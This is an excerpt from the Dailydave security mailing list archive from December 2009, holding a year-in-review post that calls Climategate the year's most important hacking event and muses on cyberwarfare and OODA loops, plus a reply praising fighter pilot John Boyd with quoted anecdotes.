SHA1 Probably the most important thing to happen this year in hacking was Climategate. How often does the US President and Secretary of State get briefed on a mailspool drop? People [1] talk a lot about the "asymmetric nature of cyberwarfare". It's not. It's something else entirely. What you get when you apply "warfare" to hacking is people looking to target digital "nerve centers", you get people going on about OODA loops. Next time you smack a mosquito remember that John Boyd would wither in envy at her OODA loop but it didn't help her at all.[2] Anyways, here's one thing that you can target with code: an ideology. We saw it happen this year, and although I may have picked a better target, I couldn't have picked a better example. thanks for the great year, list people! Dave Aitel Immunity, Inc. [1] http://lists.immunitysec.com/pipermail/dailydave/2009-October/005946.html [2] Incidentally, Maverick in Top Gun was not so keen on the OODA loop/flight energy level training either - his goal was to do the unexpected, like any good hacker. You can learn a lot from 80's chick flicks. :> -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Fedora - http://enigmail.mozdev.org iEYEARECAAYFAksz2xkACgkQtehAhL0ghepHTQCePvPE6QnFtDgeUPFcqxeStksV ZCkAnA5PWzn0lNUc2z1XZJ3KH/VeyrMh =dME0 -----END PGP SIGNATURE----- From dtangent at defcon.org Sun Dec 27 02:17:30 2009 From: dtangent at defcon.org (The Dark Tangent) Date: Sat, 26 Dec 2009 23:17:30 -0800 Subject: [Dailydave] Year in Review In-Reply-To: <4B33DB19.1080604@immunityinc.com> References: <4B33DB19.1080604@immunityinc.com> Message-ID: <006a01ca86c4$cc58e3d0$650aab70$@org> I'm a big Boyd fan, having studied his works on and off for years, applied to different mediums. I'd say Maverick was actually modeled on him. They were at the same air school, and they both pulled crazy aerial maneuvers to startle and confuse their opponents. >From his Arlington Cemetery page: " Though he hit his stride as a flier a half-century ago, Boyd remains a legend among fighter pilots. Training young aviators in Nevada during the 1950s, he became known as "40-second Boyd'' because of his offer to pay $20 to any opponent who could evade him for more than 40 seconds in air-to-air maneuvers; none ever did. " I think he was a classic hacker, actually. " As the speech suggests, Boyd was incorruptible and contemptuous of those -- in uniform or out -- he saw as attempting to push inferior ideas or sell inferior products to the military. As a major he was nearly court-martialed for cursing out a Colonel and calling him and a roomful of other officers liars. He rescued his career by convincing a General he was right. Coram describes how a defense contractor once sent its top aircraft designer to meet with Boyd during early planning for what would become the F-16. The man brought aerodynamic estimates for a plane that Boyd quickly recognized as bogus. Boyd studied the figures, leaned over the charts and said, "I can extrapolate this thing back to where the wing has zero lift. Wow. This airplane is so good that not only does it have zero lift, it has negative drag. . . . If this thing has negative drag, that means it has thrust without turning on the engines. That means when it is on the ramp with all that thrust, even with the engine turned off, you got to tie the . . . thing down or it will take off by itself.'' Boyd ended the conversation: The "airplane is made out of balonium.''" Read all about this amazing man who changed the way war is thought about: http://www.arlingtoncemetery.net/jrboyd.htm -----------------